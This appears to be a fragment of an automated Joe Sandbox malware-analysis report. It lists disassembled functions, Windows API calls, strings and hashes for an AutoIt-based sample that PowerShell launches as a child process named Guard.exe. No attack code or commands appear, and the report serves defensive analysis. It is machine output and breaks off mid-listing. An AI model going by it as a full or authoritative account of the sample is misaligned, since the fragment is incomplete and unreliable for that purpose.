Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: 95243842f35c7de80c2d7f851ca418108c65cd9ec8a91c32d048ac6f04408db9
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: 26019671A28B8542DB14EF12A44037AA252BBDABE4F504334E95E0BB94EF7CE1508B40

Function 00007FF7C0E914FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E9158E

Part of subcall function 00007FF7C0E8FA90: _ctrlfp.LIBCMT ref: 00007FF7C0E8FACB
Part of subcall function 00007FF7C0E8FA90: _raise_exc.LIBCMT ref: 00007FF7C0E8FB37

Strings

sin, xrefs: 00007FF7C0E91502
!, xrefs: 00007FF7C0E91576

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: ed341c56d9cd1f0035a9bae36659aa2bb08f9e7a37bb83df33bf1cf68110d5a6
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: 8901D871E18BC542D714EF22944037AA252BFDABE4F504334E95E0AB94EF7DE0404B40

Function 00007FF7C0E914E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E9158E

Part of subcall function 00007FF7C0E8FA90: _ctrlfp.LIBCMT ref: 00007FF7C0E8FACB
Part of subcall function 00007FF7C0E8FA90: _raise_exc.LIBCMT ref: 00007FF7C0E8FB37

Strings

cos, xrefs: 00007FF7C0E914EE
!, xrefs: 00007FF7C0E91576

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: daa833f270ada0ce17b6aa73adc0d4b48449fdb20cb94df8269662a8c7daf8bb
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: CE01D871E18B8942D714EF22944037AA262BFDABE4F504334E95E0AB94EF7DE0505B40

Function 00007FF7C0E91370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E913F6

Strings

", xrefs: 00007FF7C0E913CF
exp, xrefs: 00007FF7C0E913E5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: c770c9d54a8014d1ed38771be36c1917a8e2f969c0ce6f0b8b1c2705c59f7626
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: F601C836928B8887E220DF24D4452AABBB0FFEA754F601315E7441AB60CB7DE4C19B00

Function 00007FF7C0EBC59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7C0EBC5B6

Strings

Error allocating memory., xrefs: 00007FF7C0EBC5AD
AutoIt, xrefs: 00007FF7C0EBC5A6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
Instruction ID: 9f8b55dc5dc84852821712369d46f7e0d379c002255b95b577ad607d9c4fc9d5
Opcode Fuzzy Hash: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
Instruction Fuzzy Hash: 28F02020B4C64682EB287B65B1453B9A211AF887A0FC40430C9088BBDACFACF4C183A0

Function 00007FF7C0E775C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C0E775E9
TlsSetValue.KERNEL32(?,?,?,00007FF7C0E77241,?,?,?,?,00007FF7C0E7660C,?,?,?,?,00007FF7C0E74CD3), ref: 00007FF7C0E77600

Strings

FlsSetValue, xrefs: 00007FF7C0E775CD, 00007FF7C0E775D6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: 1be684bba5c816311e12b14447a0c8d291687f2a608eb6886731f2921fc746dc
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: 62E0A021A0C942C1EA05BF45F4044B8A361BF48BA5FC84031D94D86354CF2CF988C2B0

Function 00007FF7C0E75620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7C0E75629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF7C0E7563A

Part of subcall function 00007FF7C0E77018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E7563F), ref: 00007FF7C0E7708D
Part of subcall function 00007FF7C0E77018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E7563F), ref: 00007FF7C0E770BF

Strings

Unknown exception, xrefs: 00007FF7C0E75645

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: 800a62cc9bd00082345b41fc0f07e1f895b1562955ffc3383d27e34045144f12
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: 10D0126261854591DE10FF04D4443A8E330F780328FD04431D24C816B1EF2CE64AD390

Analysis Process: powershell.exePID: 7480, Parent PID: 7724COMMON

Executed Functions

Function 00007FF84867091E Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2505786014.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42533ed9c093610b736e121ffe308e77e6a2c30d8b4f0df1d6f637b596a46a1a
Instruction ID: cba3c9f737a1fadb49a81ae2e10ea73b0efb9d711eb4384f97c3ccc41a2e6213
Opcode Fuzzy Hash: 42533ed9c093610b736e121ffe308e77e6a2c30d8b4f0df1d6f637b596a46a1a
Instruction Fuzzy Hash: 5BE10261A0EBC65FE396B77818292757FE1EF56794F0801FAC049CB1D3DA186C0683A7

Function 00007FF8486709EA Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2505786014.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a584b875fda8206f4eb41f99ff32ef7d40250dbec4d3fdc53b2b218e61e1c1a
Instruction ID: 340ed1c3c4905904b0151aacb0c817f17f104053165648feef4bab1732ad4693
Opcode Fuzzy Hash: 4a584b875fda8206f4eb41f99ff32ef7d40250dbec4d3fdc53b2b218e61e1c1a
Instruction Fuzzy Hash: 9D4102A1E1FA874FF2D9B6BC086927866D2EF447D4F5800B9C40DC31D3DE08A84543AB

Function 00007FF8485A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2504561909.00007FF8485A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8485A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8485a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: a79ca0ebcacdb6ab6ffb7a3e7dffe0c8612ed94d333100b250dd3ccfd9331f22
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: DC01677111CB0C4FD748EF0CE451AA5B7E0FB95364F10056EE58AC3661DB36E882CB45

Analysis Process: Guard.exePID: 8004, Parent PID: 7480COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	88

Executed Functions

Function 00714005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006C2A58,?,00008000), ref: 006D02A4

Part of subcall function 00714FEC: GetFileAttributesW.KERNEL32(?,00713BFE), ref: 00714FED

FindFirstFileW.KERNEL32(?,?), ref: 0071407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 007140CC
FindNextFileW.KERNEL32(00000000,00000010), ref: 007140DD
FindClose.KERNEL32(00000000), ref: 007140F4
FindClose.KERNEL32(00000000), ref: 007140FD

Strings

\*.*, xrefs: 0071404E

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 0c07ccfb34861574528b539fae33e7745fe9e8eda613376b717b55217b0e9792
Instruction ID: 5c1fafdb0c8d87f5305d2e94b0625f7ad6580deef411d66d5bf1844fc0e1e2df
Opcode Fuzzy Hash: 0c07ccfb34861574528b539fae33e7745fe9e8eda613376b717b55217b0e9792
Instruction Fuzzy Hash: 09316F350083859BC340EB64C895DEFB7A9BE97304F444A1DF5D1861D2DB38DA49C7AA

Function 006BB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 006C3740: CharUpperBuffW.USER32(?,007771DC,00000000,?,00000000,007771DC,?,006B53A5,?,?,?,?), ref: 006C375D

_memmove.LIBCMT ref: 006BB68A

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 0e1ee0530e55558b49f502f595136bdbee584d069a4bfbb0749f93f8988ca17d
Instruction ID: 1db03557352b3957d54c752a4a8f00b2665b6ad8726d8a0919eb7f78e8e9c277
Opcode Fuzzy Hash: 0e1ee0530e55558b49f502f595136bdbee584d069a4bfbb0749f93f8988ca17d
Instruction Fuzzy Hash: 1DA27DB05083519FD720DF18C480BAAB7E2FF85304F14995DE99A8B352DBB1ED86CB52

Function 0071494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,006FFC86), ref: 0071495A
FindFirstFileW.KERNEL32(?,?), ref: 0071496B
FindClose.KERNEL32(00000000), ref: 0071497B

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 252f1fc558daf7ddd133f69688041273c072cfacad1ae561bc81900399f58985
Instruction ID: 37b69acaf537f63a080d1ebb61e79d2bbbc7097f09871c480d13315dbbf017cf
Opcode Fuzzy Hash: 252f1fc558daf7ddd133f69688041273c072cfacad1ae561bc81900399f58985
Instruction Fuzzy Hash: 1BE0D8354105099B4310673CEC0D4EE775CAE07339F104706FA35C10D0E778A98446D9

Function 006C27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D0FE6: std::exception::exception.LIBCMT ref: 006D101C
Part of subcall function 006D0FE6: __CxxThrowException@8.LIBCMT ref: 006D1031

__wcsnicmp.LIBCMT ref: 006C286A
__wcsnicmp.LIBCMT ref: 006C287E
__wcsnicmp.LIBCMT ref: 006C2896
__wcsnicmp.LIBCMT ref: 006C28AE
__wcsnicmp.LIBCMT ref: 006C28C6
__wcsnicmp.LIBCMT ref: 006C28DE
__wcsnicmp.LIBCMT ref: 006C28F6
__wcsnicmp.LIBCMT ref: 006C290A
__wcsnicmp.LIBCMT ref: 006C2948
__wcsnicmp.LIBCMT ref: 006C295C
__wcsnicmp.LIBCMT ref: 006C2970
__wcsnicmp.LIBCMT ref: 006C2984

Strings

#ce, xrefs: 006C297E
#pragma compile, xrefs: 006C2864
Bad directive syntax error, xrefs: 006FFBD3, 006FFBF0
#comments-start, xrefs: 006C28F0, 006C2942
#include-once, xrefs: 006C28C0
", xrefs: 006FFB89
#OnAutoItStartRegister, xrefs: 006C28A8
#requireadmin, xrefs: 006C2890
#notrayicon, xrefs: 006C2878
#comments-end, xrefs: 006C296A
Unterminated group of comments, xrefs: 006FFCFA
Cannot parse #include, xrefs: 006FFCE5
#include, xrefs: 006C28D8
#cs, xrefs: 006C2904, 006C2956
', xrefs: 006FFB9F

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: a56990fa99544ca7b6a9f8a6f735dc1392ba9b9e7e51769d3f62529ec0eaaf05
Instruction ID: e2432b10cc56edc24a6aa6dcf0dc88145b1e214546cec0b2721f2ec59bac29f3
Opcode Fuzzy Hash: a56990fa99544ca7b6a9f8a6f735dc1392ba9b9e7e51769d3f62529ec0eaaf05
Instruction Fuzzy Hash: EEA1A070A4020ABBCB20AF21DC62FBE776AEF45740F14002DFD05AB392EBB19A55D755

Function 006C29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,006C2A3E,?,00008000), ref: 006D0BA7

Part of subcall function 006D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006C2A58,?,00008000), ref: 006D02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 006C2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 006C2C2C

Part of subcall function 006C3EBE: _wcscpy.LIBCMT ref: 006C3EF6

Part of subcall function 006D386D: _iswctype.LIBCMT ref: 006D3875

Strings

EA06, xrefs: 006FFD48
Error opening the file, xrefs: 006FFD33, 006FFDAA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 006FFD17
AU3!, xrefs: 006C2A93
Bad directive syntax error, xrefs: 0070008F
Unterminated string, xrefs: 007000D6

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 4ad1d3c05fe4877c4d899f8356ad3e45f9bd33fb7dd9167ecaffc9afe3573af7
Instruction ID: e16de6d9aedd546f73c901680f16ffe220a295b4462a6280894652910a87a8fd
Opcode Fuzzy Hash: 4ad1d3c05fe4877c4d899f8356ad3e45f9bd33fb7dd9167ecaffc9afe3573af7
Instruction Fuzzy Hash: 30027A705083419FC764EF24C851EAFBBE6EF89314F00491EF599972A2DB34DA49CB46

Function 006C2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,006C3094), ref: 006D00ED

Part of subcall function 006D08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,006C309F), ref: 006D08E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 006C30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 007001BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 007001FB
RegCloseKey.ADVAPI32(?), ref: 00700239
_wcscat.LIBCMT ref: 00700292

Strings

Software\AutoIt v3\AutoIt, xrefs: 006C30D8
Include, xrefs: 007001B1, 007001F2
\, xrefs: 007002B5
\Include\, xrefs: 006C309F

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 6faa10976c32697e1f1221afa0af0285d9f5828bf24ddc22ac37c0cd63f10b0d
Instruction ID: 454fa1561ce36854b2cc4b4ff80c4afec2743de535148ecc147ef9193ea75eb3
Opcode Fuzzy Hash: 6faa10976c32697e1f1221afa0af0285d9f5828bf24ddc22ac37c0cd63f10b0d
Instruction Fuzzy Hash: 1A71B1714453019EC380EF25DC59A6BBBE9FF46391F40452EF449872B2EF349984CB9A

Function 006C4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 006C4E22
KillTimer.USER32(?,00000001), ref: 006C4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006C4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006C4E7A
CreatePopupMenu.USER32 ref: 006C4E8E
PostQuitMessage.USER32(00000000), ref: 006C4EAF

Strings

TaskbarCreated, xrefs: 006C4E75

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: b16030dcbbc766634354a140868e0e76efefc5b10a543487c3abef764e2392c7
Instruction ID: ed322bf42b12aaec89772d30922f71e6e9233abcad45d929761ac134cc15c88c
Opcode Fuzzy Hash: b16030dcbbc766634354a140868e0e76efefc5b10a543487c3abef764e2392c7
Instruction Fuzzy Hash: 9C412771204609AADF199F24DC19FFA3697F748350F01422DFA06D12E2CF78AC91D7AA

Function 006BAAAA Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 006D07EC
Part of subcall function 006D07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 006D07F4
Part of subcall function 006D07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 006D07FF
Part of subcall function 006D07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 006D080A
Part of subcall function 006D07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 006D0812
Part of subcall function 006D07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 006D081A

Part of subcall function 006CFF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,006BAC6B), ref: 006CFFA7

